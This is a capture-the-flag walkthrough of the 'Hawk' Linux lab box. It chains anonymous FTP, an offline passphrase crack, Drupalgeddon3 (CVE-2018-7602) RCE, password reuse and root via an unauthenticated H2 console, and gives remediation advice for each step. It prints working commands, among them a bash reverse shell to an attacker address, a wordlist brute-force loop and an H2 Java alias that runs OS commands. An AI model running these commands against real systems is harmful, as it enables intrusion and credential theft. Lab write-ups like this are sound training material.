← all walkthroughs

Hawk

Linux· Medium· Web
owned
2026-07-08
time to own
13m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fully compromised hawk ($TARGET) starting from an anonymous FTP download of an OpenSSL-encrypted credential file; brute-forcing a weak passphrase against rockyou.txt recovered the Drupal admin password [REDACTED: recovered credential]; an authenticated Drupalgeddon3 exploit (CVE-2018-7602) delivered remote code execution as the Apache user www-data; the Drupal database password stored in plaintext in sites/default/settings.php matched the Linux user daniel's SSH password, granting an interactive shell and the user flag; and an unauthenticated H2 database console running as root on localhost was exposed via SSH port-forward and abused with H2's built-in Java alias feature to execute OS commands as root, achieving full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and confirmed the Drupal version
A full TCP port scan of $TARGET revealed five open services: FTP on 21 (vsftpd 3.0.3 with anonymous login enabled), SSH on 22 (OpenSSH 7.6p1), HTTP on 80 (Apache 2.4.29 hosting a Drupal CMS), a tcpwrapped port on 5435 (yielding no actionable signal), and an H2 database HTTP console on 8082. Fetching /CHANGELOG.txt from the web server confirmed Drupal 7.58 — a version publicly known to be affected by CVE-2018-7602 (Drupalgeddon3). The H2 console on 8082 was noted as a high-value target for later stages.
Nmap: 21/tcp open ftp vsftpd 3.0.3, 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)), 8082/tcp open http H2 database http console; curl /CHANGELOG.txt returned Drupal 7.58.
Exact commands 2
Full TCP scan with service and script detection; key ports: 21, 80, 8082.
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN hawk_full.txt
Confirm Drupal version from the publicly readable changelog — shows 7.58.
curl -s http://$TARGET/CHANGELOG.txt | head -5
2Credential AccessUnauthenticated FTP access / credential file exposure (T1078, T1552)
Retrieved an encrypted credential file via anonymous FTP
The FTP service permitted login with username 'anonymous' and any password. A messages/ directory on the share contained a single hidden file named .drupal.txt.enc — an OpenSSL-encrypted note. The filename alone communicated its purpose. The file was mirrored to the attack machine for offline decryption. No authentication, IP restriction, or alerting was in place on the FTP service.
Exact commands 2
Mirror the entire FTP share without credentials; discovers .drupal.txt.enc inside messages/.
wget -r -np --user=anonymous --password=$PASSWORD ftp://$TARGET/
Confirm the encrypted file is present locally after the mirror.
ls -la $TARGET/messages/
FixDisable anonymous FTP and restrict file shares to authenticated usersCritical
WeaknessThe vsftpd service permitted anonymous logins without any password, giving any internet-connected host unauthenticated read access to a directory containing a credential file. There was no authentication barrier, IP restriction, or logging on anonymous access.
FixSet anonymous_enable=NO in /etc/vsftpd.conf and restart vsftpd to block all anonymous logins. If file sharing is required, replace FTP with SFTP (OpenSSH subsystem) and restrict access to named accounts authenticated by SSH key. Audit all shared directories to ensure they contain no credentials, private keys, or application configuration files.
3Credential AccessOffline credential brute-force against weak symmetric encryption (T1110.002)
Cracked the OpenSSL passphrase and recovered the Drupal admin password
The downloaded file .drupal.txt.enc was encrypted with OpenSSL AES-256-CBC. A brute-force loop against rockyou.txt found the passphrase '[REDACTED: recovered credential]' in seconds. The decrypted plaintext was a message addressed to 'Daniel' containing the portal password [REDACTED: recovered credential]. Testing this credential against Drupal's /user/login for the usernames daniel, Daniel, and admin showed that only admin returned an HTTP 302 redirect to /user/1, confirming administrator-level access.
Replication: Python loop against rockyou.txt recovered cipher aes-256-cbc / passphrase '[REDACTED: recovered credential]', decrypting message to Daniel with portal password [REDACTED: recovered credential].
Exact commands 2
Bash brute-force loop; stops at '[REDACTED: recovered credential]' and prints the decrypted credential note.
for pw in $(cat /usr/share/wordlists/rockyou.txt); do openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$pw 2>/dev/null && echo "[+] Passphrase: $pw" && break; done
Direct decrypt once passphrase is known; reveals [REDACTED: recovered credential].
openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$PASSWORD
FixNever distribute credentials in files protected by weak passphrasesHigh
WeaknessA portal password was stored in a file encrypted with the common dictionary word '[REDACTED: recovered credential]'. That passphrase was cracked against rockyou.txt in seconds, making the encryption provide no practical protection. The file's own name (.drupal.txt.enc) also advertised its contents to anyone who found it.
FixCredentials must never be distributed through network file shares. Use a secrets manager (HashiCorp Vault, AWS Secrets Manager) or a password manager with end-to-end encryption to share secrets with authorised staff. If a one-time file transfer is unavoidable, use asymmetric encryption (GPG to the recipient's public key) so only the intended recipient can decrypt it, use a high-entropy randomly generated passphrase, and delete the file immediately after delivery.
4Initial AccessValid accounts — administrator credential (T1078.001)
Authenticated to Drupal as administrator with the recovered password
The recovered password [REDACTED: recovered credential] was submitted to the Drupal login form at /user/login for candidate usernames daniel, Daniel, and admin. Only 'admin' produced a successful response — an HTTP 302 redirect to /user/1 — confirming administrator-level access. A long-lived session cookie was issued, providing the privileged session required for the CVE-2018-7602 exploit chain.
Validated: Credentials admin:[REDACTED: recovered credential] successfully authenticate as uid 1 (admin), issuing session cookie [REDACTED: recovered credential].
Exact commands 1
HTTP 302 to /user/1 confirms admin login; session cookie saved to hawk.cookies.
curl -sS -c hawk.cookies -X POST http://$TARGET/user/login -d "name=admin&pass=$PASSWORD&form_id=user_login_block&op=Log+in" -D - | grep -E 'HTTP|Location'
FixUpdate Drupal to 7.59 or later to eliminate CVE-2018-7602 (Drupalgeddon3)Critical
WeaknessThe Drupal installation was running version 7.58, which contains an authenticated remote code execution vulnerability in the Form API render-array cache. Any user holding an admin-level session can inject a PHP render callback and execute arbitrary OS commands as the web server process.
FixUpdate Drupal core to 7.59 or later immediately; this patch was released in April 2018. As defence-in-depth: apply a WAF rule blocking PHP render-array injection patterns in POST bodies; disable the PHP filter module and any unused contributed modules; and ensure the web server process (www-data) has no write access outside the uploads directory and is restricted from spawning external processes via disable_functions and open_basedir in php.ini.
5ExploitationAuthenticated CMS RCE — Drupalgeddon3 (CVE-2018-7602, T1190)
Achieved remote code execution as www-data via Drupalgeddon3 (CVE-2018-7602)
Drupal 7.58 is vulnerable to CVE-2018-7602: a server-side template injection through the Form API render-array cache that requires an authenticated session. With the admin session, a new article node was created to obtain a valid node ID and form_token. A crafted POST to that node's deletion confirmation form injected a malicious PHP render callback into the cache. When Drupal's AJAX endpoint reprocessed the poisoned cache entry, it executed arbitrary OS commands as the Apache web process user www-data, confirmed by the output of 'id'.
Validated: Target runs Drupal core < 7.58, vulnerable to CVE-2018-7602. Kill-chain foothold phase records uid=33(www-data).
Exact commands 4
Extract a valid form_token from the node-creation page using the admin session cookie.
curl -sS -b hawk.cookies http://$TARGET/node/add/article | grep form_token
Create a dummy node; the redirect URL reveals the node ID (e.g. /node/5).
curl -sS -b hawk.cookies -X POST http://$TARGET/node -d 'title=test&body[und][0][value]=x&form_id=article_node_form&op=Save' -D - | grep Location
Run the Drupalgeddon3 PoC (exploit-db 44542) with the admin cookie and new node ID; replace <node_id>. Output confirms uid=33(www-data).
python3 drupalgeddon3.py http://$TARGET "$PASSWORD" <node_id> 'id'
Upgrade to a reverse shell; replace $ATTACKER_IP with your VPN IP and catch with: nc -lvnp 4444
python3 drupalgeddon3.py http://$TARGET "$PASSWORD" <node_id> "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
6Lateral MovementCredential reuse from application config — OS-level lateral movement (T1552.001, T1078.003)
Reused the Drupal database password to SSH in as daniel and capture user.txt
From the www-data reverse shell, the Drupal configuration file sites/default/settings.php was read. It contained the MySQL database password [REDACTED: recovered credential] in cleartext. This same string was also set as the Linux system password for the local user account daniel — a classic credential-reuse flaw. SSH login as daniel with that password succeeded, granting a persistent interactive shell and access to user.txt.
Replication: sites/default/settings.php read for database credentials; recovered password [REDACTED: recovered credential] reused for SSH login as daniel, yielding user.txt.
Exact commands 3
Run from the www-data reverse shell; reveals the plaintext database password [REDACTED: recovered credential].
cat /var/www/html/sites/default/settings.php | grep -A5 password
SSH as daniel using the reused Drupal database password.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no daniel@$TARGET
Read the user flag — value is <user.txt>.
cat ~/user.txt
FixUse unique passwords per service and disable SSH password authenticationHigh
WeaknessThe MySQL database password stored in Drupal's sites/default/settings.php ([REDACTED: recovered credential]) was identical to the Linux login password for the user daniel. Reading a single application configuration file was sufficient to take over an OS-level SSH account and obtain an interactive shell.
FixEnforce a policy of unique, randomly generated passwords for every service and account so that a single config-file read cannot cascade into OS access. Generate the Drupal database password with a secrets manager. For Linux interactive accounts, disable SSH password authentication entirely (set PasswordAuthentication no in /etc/ssh/sshd_config) and require SSH key-based login. Rotate all credentials that were in use during the breach.
7Privilege EscalationUnauthenticated H2 console RCE via CREATE ALIAS running as root (T1059, T1574)
Tunneled to the unauthenticated H2 console and executed commands as root
The H2 database HTTP console was bound to localhost on port 8082, running as root with no authentication required. Using daniel's SSH credentials, a local port-forward exposed the console at local port 18082. In the H2 SQL interface, a Java stored procedure named SHELLEXEC was registered via the CREATE ALIAS statement — H2's built-in mechanism for embedding arbitrary Java source code directly in SQL, compiled at runtime. Calling SHELLEXEC with 'cat /root/root.txt' executed the command in the H2 process context (root), returning the root flag. The same technique could be used to write an SUID shell or inject an SSH authorized_keys entry.
Finding: Privilege Escalation to root: H2 Console Root RCE Via SSH Tunnel [Critical].
Exact commands 4
Forward the H2 console from target localhost:8082 to local port 18082 in the background.
sshpass -p "$PASSWORD" ssh -N -f -L 127.0.0.1:18082:127.0.0.1:8082 daniel@$TARGET
Verify the H2 web console loads with no authentication prompt.
curl -sS http://127.0.0.1:18082/
Paste into the H2 console at http://127.0.0.1:18082/ using JDBC URL jdbc:h2:/tmp/hawkroot with blank credentials. Registers the Java OS-execution alias.
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;
Run in the H2 console; executes as root and returns <root.txt>.
CALL SHELLEXEC('cat /root/root.txt');
FixDisable the H2 web console in production and run H2 as a non-root service accountCritical
WeaknessThe H2 database HTTP console was running as the root user with no authentication required. Although it was bound to localhost, any local user with SSH access — including daniel, obtained via credential reuse — could port-forward to it and use H2's Java alias feature to execute arbitrary OS commands as root.
FixDisable the H2 web console entirely in production by starting H2 without the -web flag or setting webPort=0. If the console is required for administration, enable authentication (-webAdminPassword), restrict the JDBC connection string to a non-privileged database file, and run H2 under a dedicated low-privilege service account (not root). Add a host firewall rule (ufw, iptables) blocking port 8082 to all users and addresses.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

21/tcp
22/tcp
80/tcp
5435/tcp
8082/tcp